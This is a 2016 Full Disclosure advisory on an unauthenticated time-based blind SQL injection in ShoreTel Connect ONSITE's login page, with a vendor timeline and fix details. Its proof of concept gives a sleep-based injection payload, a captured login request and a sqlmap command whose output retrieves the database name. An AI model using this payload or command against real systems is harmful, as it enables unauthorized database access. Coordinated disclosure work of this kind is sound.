Date: Mon, 19 Sep 2016 13:58:20 +0100
From: "Iraklis A. Mathiopoulos" <mathiopoulos@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] ShoreTel Connect ONSITE Blind SQL Injection Vulnerability

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA256

ShoreTel Connect ONSITE Blind SQL Injection Vulnerability
=======================================================================
 vulnerability type: Unauthenticated Blind SQL Injection
            product: ShoreTel Connect ONSITE
 vulnerable version: 20.xx.xxxx.x and 21.xx.xxxx.x up to 21.79.4311.0
      fixed version: 21.79.9308.0
           homepage:
https://www.shoretel.com/resource-center/shoretel-connect-onsite-overview
 discovery: 2016-07
                 by: Iraklis Mathiopoulos

                     https://medium.com/@iraklis
========================================================================

Vendor description:
- -------------------
"ShoreTel is one of the largest providers of cloud, premises-based and hybrid
business telephony and unified communications (UC) solutions. Our award-winning,
brilliantly simple communications offerings lead the industry in customer
satisfaction and lowest total cost of ownership. Our innovative business phones,
application integration, collaboration tools, mobility, and contact center
applications empower organizations and employees to collaborate,
connect and work
no matter time, place or device."

URL: https://www.shoretel.com/


Vulnerability overview/description:
- -----------------------------------
Versions of ShoreTel Connect ONSITE prior and including 21.79.4311.0
are vulnerable
to a Blind SQL Injection in /authenticate.php, on the webserver that
is running the
Conference system.

Specifically, the POST parameter "username" is not sanitised prior to being used
in SQL Queries. Using test'%20and%20(select*from(select(sleep(35)))a)--%20
for the username value the server will respond after approximately 35 seconds.

No authentication is needed in order to exploit the vulnerability as the issue
resides in the pre-authentication realm of the system.


Proof of Concept:
- -----------------

req.burp:
- ---
POST https://conference.shoretel.com/authenticate.php HTTP/1.1
Host: conference.shoretel.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0)
Gecko/20100101 Firefox/47.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://conference.shoretel.com/signin.php?ret=index.php&brand=1&brandUrl=index.php&rand=377311852
Cookie: PHPSESSID=fd3eb46033541487cce7774b917c655d
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 197

password=cc03e747a6afbbcbf8be7668acfebee5&password64=dGVzdDEyMw%3D%3D&redirect=&redirectOnFail=&ticketAsQuery=1&expiry=43200&flashlogin=&ParticipantCode=&username=test123&vpassword=&SUBMIT1=Sign+In
- ---

root@...i:~/projects# sqlmap -r req.burp -p username --dbms=mysql
--technique=T --time-sec=10  --level=5 --risk=3 --current-db
         _
 ___ ___| |_____ ___ ___  {1.0-dev-nongit-201607120a89}
|_ -| . | |     | .'| . |
|___|_  |_|_|_|_|__,|  _|
      |_|           |_|   http://sqlmap.org


[*] starting at 19:59:34

[19:59:34] [INFO] parsing HTTP request from 'req.burp'
[19:59:34] [INFO] testing connection to the target URL
[19:59:42] [INFO] checking if the target is protected by some kind of
WAF/IPS/IDS
sqlmap resumed the following injection point(s) from stored session:
- ---
Parameter: username (POST)
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
    Payload: password=cc03e747a6afbbcbf8be7668acfebee5&password64=dGVzdDEyMw==&redirect=&redirectOnFail=&ticketAsQuery=1&expiry=43200&flashlogin=&ParticipantCode=&username=test123'
AND (SELECT * FROM (SELECT(SLEEP(10)))Qlhs) AND 'jIev' LIKE
'jIev&vpassword=&SUBMIT1=Sign In
- ---
[19:59:54] [INFO] testing MySQL
[20:02:25] [INFO] confirming MySQL
[20:03:12] [INFO] the back-end DBMS is MySQL
web application technology: Apache
back-end DBMS: MySQL >= 5.0.0
[20:03:12] [INFO] fetching current database
[20:03:12] [INFO] retrieved: shoreware
current database:    'shoreware'
[20:21:10] [INFO] fetched data logged to text files under
'/root/.sqlmap/output/conference.shoretel.com'

[*] shutting down at 20:21:10



Vulnerable / tested versions:
- -----------------------------
Version 21.79.4311.0 of ShoreTel Connect ONSITE was found to be
vulnerable. This version was the latest version at the time of the
discovery.


Vendor contact timeline:
- ------------------------
2016-07-23: Initial email was sent to multiple Vendor email addresses
2016-07-24: Initial Vendor reply acknowledging email receipt
2016-07-26: Email from vendor requiring more information
2016-07-26: Reply with full technical details
2016-08-04: Vendor releases upgrade fixing the vulnerability
2016-08-30: Email to CERT
2016-09-06: CERT alerts CERT-US
2016-09-19: Public Disclosure


Solution:
- ---------
The latest version of ShoreTel Connect ONSITE should be installed
immediately. This update can be found at:
https://support.shoretel.com/kb/view.php?id=kA41A000000XgL6SAK

Related ShoreTel security bulletin:
https://support.shoretel.com/kb/view.php?id=kA41A000000XgL6SAK
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2

iQEcBAEBCAAGBQJX3+ClAAoJECvKFEKpDztj9uoIAILxYo5lZNzCiuAvQXqrD5yU
p0JV9Nkb/G3hMX8I+VXDIbm1mPla/TLZYR59jcVrNTP+m+crX4Rd3f/n4GiuWPIK
6XkZYULtSvQkNWPqS6+NBlcol6KTkEgtfeXXGZrJNVHy/Bl0BSCAPInSXAkw0/A9
Gnjv49axwFGC17txR5s+Polc918X6DBFpu+7Xgj0yAEats/yS/E//BR3y+0FUUmg
UxI73hEtMe6MPH8Dzhi/DkIFOHtY30bK3Zy+CX8qTNP8WiqCivxiVdCnXev0TU/z
lXKasg9eo/o8JGa/xKD9l/JPYnbAPyyY+FYKuCcXZNk40i8v5cFCWjrbQFb4Clc=
=GfVw
-----END PGP SIGNATURE-----

_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

Powered by blists - more mailing lists